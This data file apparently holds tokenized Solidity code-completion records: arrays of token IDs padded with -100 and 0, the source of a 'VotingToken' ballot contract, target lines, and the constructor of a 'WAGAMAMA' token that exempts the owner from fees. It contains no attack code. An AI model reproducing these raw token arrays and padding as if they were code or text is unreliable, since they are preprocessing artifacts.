1476, 1135, 12, 11890, 5034, 15329, 203, 3639, 327, 1261, 10546, 18, 4963, 3088, 1283, 5621, 203, 565, 289, 203, 377, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 12, 11890, 28, 15329, 203, 3639, 327, 1261, 10546, 18, 31734, 5621, 203, 565, 289, 203, 377, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 12, 1080, 3778, 15329, 203, 3639, 327, 1261, 10546, 18, 529, 5621, 203, 565, 289, 203, 377, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 12, 1080, 3778, 15329, 203, 3639, 327, 1261, 10546, 18, 7175, 5621, 203, 565, 289, 203, 377, 203, 377, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.4; import "./DividendToken.sol"; /** * @dev Inspiration by MiniMeToken https://github.com/Giveth/minime/blob/master/contracts/MiniMeToken.sol by giveEth * @notice this Token corresponds to common stock that enables dividends as well as voting */ contract VotingToken is DividendToken { event BallotCreated( bytes32 ballotName ); struct Checkpoint { // `fromBlock` is the block number that the checkpoint was generated uint128 fromBlock; // `value` is the amount of tokens of the checked address at the specific block number uint128 value; } /* * @notice a ballot is a structure that corresponds to a single decision that can be * voted upon by token holders, each with a weight corresponding to their * owned tokens at the cutoff date */ struct Ballot { bytes32 name; // name of the current ballot / asked question bytes32[] optionNames; //list of all voteable options uint[] optionVoteCounts; //list of all resp. vote counts mapping(address => bool) voted; // record on which addresses already voted uint cutoffBlockNumber; // block number of the block, where the balances are counted for voting weight uint endDate; } bytes32[] tempOptionNames; /** * @dev tracks the balance of each address over time via timestamped Checkpoints * including the blocknumber * intentionally */ mapping(address => Checkpoint[]) private _historizedBalances; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // all ballots that can be voted upon by token holders Ballot[] public ballots; // reenable constructor, if deployment without proxy is needed /*constructor(Controller _controller, TransferQueues _queues) DividendToken(_controller, _queues) public {//The super contract is a modifier of sorts of the constructor }*/ /* * @info get all optionNames for a single ballot, indicated by its index in the public ballot array * @param ballotIndex ballot to get optionNames from * @returns all options of the ballot at the given index */ function getOptionNames(uint ballotIndex) external view returns (bytes32[] memory){ return ballots[ballotIndex].optionNames; } /* * @info get all voteCounts for a single ballot, indicated by its index in the public ballot array * @param ballotIndex ballot to get voteCounts from * @returns all voteCounts of the ballot at the given index, corresponding to the names from getOptionNames */ function getOptionVoteCounts(uint ballotIndex) external view returns (uint256[] memory){ return ballots[ballotIndex].optionVoteCounts; } /** * @dev Overwrites the ERC-20 function so that it will be used * by all functions in super contracts to keep checkpoints up to date * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred */ function _transfer(address _from, address _to, uint _amount) internal { //require(_amount != 0, "VotingToken: Empty Transfers are not allowed."); // Do not allow transfer to or from 0x0 require((_to != address(0)) && (_from != address(0)), "Transfer to or from 0x"); uint previousBalanceSender = balanceOfAt(_from, block.number); // update the balance array with the new value for the sender updateValueAtNow(_historizedBalances[_from], previousBalanceSender.sub(_amount)); // update the balance array with the new value for the receiver uint previousBalanceTo = balanceOfAt(_to, block.number); updateValueAtNow(_historizedBalances[_to], previousBalanceTo.add(_amount)); emit Transfer(_from, _to, _amount); } /** * @dev overrides the function from ERC20 * @param _owner The address that's balance is being requested * @return The balance of `_owner` at the current block */ function balanceOf(address _owner) public view returns (uint256) { return balanceOfAt(_owner, block.number); } /** * @dev creates a new ballot and appends it to 'ballots' * caller must ensure that optionNames are unique, or else only the first appearance is used * @param ballotName The name of the ballot resp. the asked Question * @param optionNames List of possible choices / answers to the question */ function createBallot(bytes32 ballotName, bytes32[] calldata optionNames, uint endDate) external onlyIssuer { //Check the arguments for validity require(ballotName[0] != 0, "BallotName must not be empty!"); require(optionNames.length > 0, "OptionNames must not be empty!"); delete tempOptionNames; for (uint i = 0; i < optionNames.length; i++) { tempOptionNames.push(optionNames[i]); } Ballot memory ballot = Ballot({name : ballotName, cutoffBlockNumber : block.number, endDate : endDate, optionNames : tempOptionNames, optionVoteCounts : new uint[](optionNames.length)}); ballots.push(ballot); emit BallotCreated(ballotName); } /** * @notice casts votes equal to the senders tokens at the cutoff time of the newest ballot designated * by ballotName to the option designated by optionName * @param ballotName Ballot to vote in * @param optionName option to vote for * @dev rolls back on unfound ballot or option, if sender already voted, or does not own tokens at cutoff */ function vote(bytes32 ballotName, bytes32 optionName) external { //Search through all Ballots backwards, so that the recent ones are found first int found = - 1; for (int i = UIntConverterLib.toIntSafe(ballots.length); i > 0; i--) {//could still be optimized for gas if (ballots[SafeMathInt.toUintSafe(i - 1)].name == ballotName) { found = i - 1; break; } } require(found >= 0, "VotingToken: Ballot not found!"); Ballot storage ballot = ballots[SafeMathInt.toUintSafe(found)]; //check if User had tokens at the time of the ballot start == right to vote uint senderBalance = balanceOfAt(msg.sender, ballot.cutoffBlockNumber); require(senderBalance > 0, "Sender held no tokens at cutoff"); //check if endDate has not passed require(ballot.endDate > now, "Vote has ended."); //check if User already voted require(ballot.voted[msg.sender] == false, "Sender already voted"); //Search for the voted option in the ballot for (int j = UIntConverterLib.toIntSafe(ballot.optionNames.length); j > 0; j--) { if (ballot.optionNames[SafeMathInt.toUintSafe(j - 1)] == optionName) { ballot.voted[msg.sender] = true; ballot.optionVoteCounts[SafeMathInt.toUintSafe(j - 1)] = ballot.optionVoteCounts[SafeMathInt.toUintSafe(j - 1)].add(senderBalance); return; } } require(false, "Option does not exist in Ballot."); } /** * @notice Computes the winning proposal taking all votes up until now into account, exact tallying can be gotten from * the function getBallot(bytes32 ballotName) * @dev does not change state or close the voting intentionally, is public so that everybody * can look at the current winner, and to allow for maximum flexibility (company can decide * a time when to decide the winners, as the time may change due to not all voters being on chain * ATTENTION: does not deal with votes where two options are equal, this must be decided by the user via getBallot(bytes32 ballotName) TODO potentially add this functionality * @param ballotName ballot to be queried * @return name of the winning option and resp. vote count, if it can be calculated, else returns error message and 0 */ function currentlyWinningOption(bytes32 ballotName) external view returns (bytes32 winningOptionName, uint winningOptionVoteCount){ Ballot memory ballot; //Search through all Ballots backwards, so that the recent ones are found first for (int i = UIntConverterLib.toIntSafe(ballots.length); i > 0; i--) { if (ballots[SafeMathInt.toUintSafe(i - 1)].name == ballotName) { ballot = ballots[SafeMathInt.toUintSafe(i - 1)]; } } //require(ballot.name.length > 0, "Ballot not found!"); //This is because some clients apparently can not deal with requires on view functions if (ballot.name.length <= 0) { return (bytes32("Ballot not found!"), 0); } uint winningVoteCount = 0; //bool invalid = false; int winningOptionIndex = - 1; for (uint p = 0; p < ballot.optionVoteCounts.length; p++) { if (ballot.optionVoteCounts[p] > winningVoteCount) { //invalid = false; winningVoteCount = ballot.optionVoteCounts[p]; winningOptionIndex = UIntConverterLib.toIntSafe(p); } /*if (ballot.optionVoteCounts[p] == winningVoteCount){ invalid =true; }*/ } //return (bytes32("At least two votes are tied!"), winningVoteCount); //require(winningOptionIndex != - 1,"No votes yet!"); if (winningOptionIndex == - 1) { return (bytes32("No votes yet!"), 0); } winningOptionName = ballot.optionNames[SafeMathInt.toUintSafe(winningOptionIndex)]; winningOptionVoteCount = ballot.optionVoteCounts[SafeMathInt.toUintSafe(winningOptionIndex)]; } /** * @dev Queries the balance of `_owner` at a specific `_blockNumber` * @param _owner The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at `_blockNumber` */ function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { return getValueAt(_historizedBalances[_owner], _blockNumber); } /** * @notice Total amount of tokens at a specific `_blockNumber`. * @param _blockNumber The block number when the totalSupply is queried * @return The total amount of tokens at `_blockNumber` */ function totalSupplyAt(uint _blockNumber) public view returns (uint) { return getValueAt(totalSupplyHistory, _blockNumber); } /** * @dev overwrite erc20 function * @notice mints tokens to _account, while keeping tabs on supply * @param _account The address that will be assigned the new tokens * @param _value The quantity of tokens generated */ function _mint(address _account, uint256 _value) internal { require(_account != address(0)); uint curTotalSupply = totalSupply(); uint previousBalanceTo = balanceOf(_account); updateValueAtNow(totalSupplyHistory, curTotalSupply.add(_value)); updateValueAtNow(_historizedBalances[_account], previousBalanceTo.add(_value)); emit Transfer(address(0), _account, _value); } /** * @notice Burns `_amount` tokens from `_owner` * @dev overwrites the erc20 implementation, is also used by _burnFrom * @param _account The account whose tokens will be burnt. * @param _value The amount that will be burnt. */ function _burn(address _account, uint _value) internal { //erc 20 checks require(_account != address(0)); require(_value <= balanceOf(_account)); uint curTotalSupply = totalSupply(); require(curTotalSupply >= _value); uint previousBalanceFrom = balanceOf(_account); require(previousBalanceFrom >= _value); updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value)); updateValueAtNow(_historizedBalances[_account], previousBalanceFrom.sub(_value)); emit Transfer(_account, address(0), _value); } /// @dev get total number of tokens function totalSupply() public view returns (uint) { return totalSupplyAt(block.number); } /** * @dev retrieve the number of tokens at a given block number * @param checkpoints The history of values being queried * @param _block The block number to retrieve the value at * @return The number of tokens being queried */ function getValueAt(Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the current value if (_block >= checkpoints[checkpoints.length - 1].fromBlock) return checkpoints[checkpoints.length - 1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length - 1; while (max > min) { uint mid = (max.add(min).add(1)) / 2; if (checkpoints[mid].fromBlock <= _block) { min = mid; } else { max = mid - 1; } } return checkpoints[min].value; } /** * @dev update current value for balances or totalsupply * @param checkpoints The history of data being updated * @param _value The new number of tokens */ function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } }
bool invalid = false;
int winningOptionIndex = - 1;
5,403,231
[ 1, 4625, 348, 7953, 560, 30, 1426, 2057, 273, 629, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 509, 5657, 2093, 1895, 1016, 273, 300, 404, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x9BBe6AD774178bBD67eD4943227d6813b21De469/sources/WAGAMAMA.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("WAGAMAMA", "WAGAMAMA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
4,350,789
[ 1, 4625, 348, 7953, 560, 30, 225, 4433, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 59, 1781, 2192, 2192, 37, 3113, 315, 59, 1781, 2192, 2192, 37, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 203, 203, 3639, 30143, 5269, 2954, 281, 273, 30143, 3882, 21747, 14667, 397, 30143, 48, 18988, 24237, 14667, 397, 30143, 8870, 14667, 31, 203, 3639, 357, 80, 5269, 2954, 281, 273, 357, 80, 3882, 21747, 14667, 397, 357, 80, 48, 18988, 24237, 14667, 397, 357, 80, 8870, 14667, 31, 203, 203, 203, 3639, 4433, 1265, 2954, 281, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 2954, 281, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 2954, 281, 12, 2867, 12, 20, 92, 22097, 3631, 638, 1769, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 20, 92, 22097, 3631, 638, 1769, 203, 203, 5411, 389, 81, 474, 353, 392, 2713, 445, 316, 4232, 39, 3462, 18, 18281, 716, 353, 1338, 2566, 2674, 16, 203, 5411, 471, 385, 16791, 506, 2566, 14103, 3382, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 2078, 3088, 1283, 1769, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 